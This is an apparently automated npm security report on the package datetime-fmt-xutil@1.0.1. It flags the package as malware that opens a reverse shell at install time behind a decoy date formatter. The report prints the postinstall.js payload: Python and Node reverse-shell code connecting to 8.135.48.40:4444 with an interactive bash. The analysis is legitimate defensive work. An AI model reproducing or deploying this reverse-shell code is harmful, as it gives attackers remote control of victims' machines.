---
canonical: "https://firewall.lpm.dev/npm/datetime-fmt-xutil/v/1.0.1"
markdown: "https://firewall.lpm.dev/npm/datetime-fmt-xutil/v/1.0.1.md"
package: "datetime-fmt-xutil"
report_status: "published"
title: "datetime-fmt-xutil@1.0.1 npm security report"
verdict: "malicious"
version: "1.0.1"
---

# datetime-fmt-xutil@1.0.1 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Remote operator obtains interactive shell access with the installing user's privileges.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Remote Code Execution
- **Selected version:** 1.0.1
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Installation automatically launches a reverse shell to a hard-coded remote host. The exported date formatter does not mitigate that install-time compromise.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 99.0%
- **Started:** 2026-08-13T13:59:05.315Z
- **Finished:** 2026-08-13T13:59:33.191Z
- **Download time:** 255 ms
- **Static scan time:** 12 ms
- **AI review time:** 27608 ms
- **Total time:** 27876 ms

## Security analysis

### Published attack-surface review

- **Summary:** Installation automatically launches a reverse shell to a hard-coded remote host. The exported date formatter does not mitigate that install-time compromise.

- **Trigger:** npm installation, via postinstall

- **Impact:** Remote operator obtains interactive shell access with the installing user's privileges.

- **Evidence paths:** package.json, postinstall.js, index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-13T13:59:33.191Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** hard-coded reverse shell with Python and Node fallbacks

- **Attack narrative:** On npm installation, package.json invokes postinstall.js. That script attempts Python PTY and subprocess reverse shells to 8.135.48.40:4444, then falls back to a Node TCP connection piping an interactive /bin/bash process. This grants a remote listener command execution under the installer’s account.

- **Rationale:** Direct source inspection confirms an automatically triggered reverse shell with a hard-coded endpoint and no package-aligned purpose. This is concrete install-time remote code execution.

- **Files touched:** package.json, postinstall.js, index.js

- **Network endpoints:** 8.135.48.40:4444

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** package.json runs postinstall.js automatically during installation., postinstall.js connects to 8.135.48.40:4444 and attaches an interactive /bin/bash shell., Two execSync Python reverse-shell fallbacks run before a native Node shell fallback., index.js is a benign-looking date formatter, consistent with concealment of the install-time payload.

- **Evidence against:** No legitimate purpose for networked shell execution is present in the package source.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/datetime-fmt-xutil@1.0.1/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node postinstall.js
```

### 2. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/datetime-fmt-xutil@1.0.1/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.postinstall = node postinstall.js
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/datetime-fmt-xutil@1.0.1/postinstall.js>)

Package source references child process execution.

Public source snippet (untrusted):

```javascript
L1: const { execSync } = require('child_process');
L2: const net = require('net');
```

### 5. Critical: Reverse Shell
- **Category:** Source
- **Confidence:** 92.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/datetime-fmt-xutil@1.0.1/postinstall.js>)

Source matches reverse-shell style process and socket wiring.

Public source snippet (untrusted):

```javascript
L1: const { execSync } = require('child_process');
L2: const net = require('net');
L3: const { spawn } = require('child_process');
...
L9: try {
L10: execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000});
L11: } catch(e) {
...
L20: c.pipe(sh.stdin);
L21: sh.stdout.pipe(c);
L22: sh.stderr.pipe(c);
```

### 6. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/datetime-fmt-xutil@1.0.1/postinstall.js>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: scripts.postinstall -> postinstall.js
L1: const { execSync } = require('child_process');
L2: const net = require('net');
L3: const { spawn } = require('child_process');
...
L9: try {
L10: execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000});
L11: } catch(e) {
...
L20: c.pipe(sh.stdin);
L21: sh.stdout.pipe(c);
L22: sh.stderr.pipe(c);
```

### 7. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 8. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 9. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 99.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/datetime-fmt-xutil@1.0.1/postinstall.js>)

postinstall.js connects to 8.135.48.40:4444 and attaches an interactive /bin/bash shell.

Public source snippet (untrusted):

```javascript
const VPS = '8.135.48.40';
const PORT = 4444;

// 方式1: python3 PTY（最稳定，有完整交互式shell）
try {
    execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000});
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/datetime-fmt-xutil@1.0.1/postinstall.js>)

Two execSync Python reverse-shell fallbacks run before a native Node shell fallback.

Public source snippet (untrusted):

```javascript
// 方式2: python3 subprocess（备选）
    try {
        execSync(`python3 -c 'import subprocess,socket,os;s=socket.socket();s.connect(("${VPS}",${PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'`, {timeout: 300000});
    } catch(e2) {
        // 方式3: node 原生
        try {
            var c = net.connect(PORT, VPS, function() {
                var sh = spawn('/bin/bash', ['-i']);
                c.pipe(sh.stdin);
                sh.stdout.pipe(c);
                sh.stderr.pipe(c);
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/datetime-fmt-xutil@1.0.1/index.js>)

index.js is a benign-looking date formatter, consistent with concealment of the install-time payload.

Public source snippet (untrusted):

```javascript
// 伪装成正常的日期格式化工具
function formatDate(date, format) {
    const d = new Date(date);
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** postinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** datetime-fmt-xutil
- **Ecosystem:** npm
- **Version:** 1.0.1
- **License:** ISC
- **Version published:** 2026-08-13T13:55:54.898Z
- **Package first seen:** 2026-08-13T13:45:29.880Z
- **Package last seen:** 2026-08-13T13:59:33.191Z
- **Known versions:** 2
- **Latest version:** 1.0.1
- **Appeal under review:** No
- **Description:** A simple date formatting utility
- **Keywords:** date, format, util
- **Artifact files:** 3
- **Artifact unpacked size:** 1,963 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/datetime-fmt-xutil/v/1.0.1>)
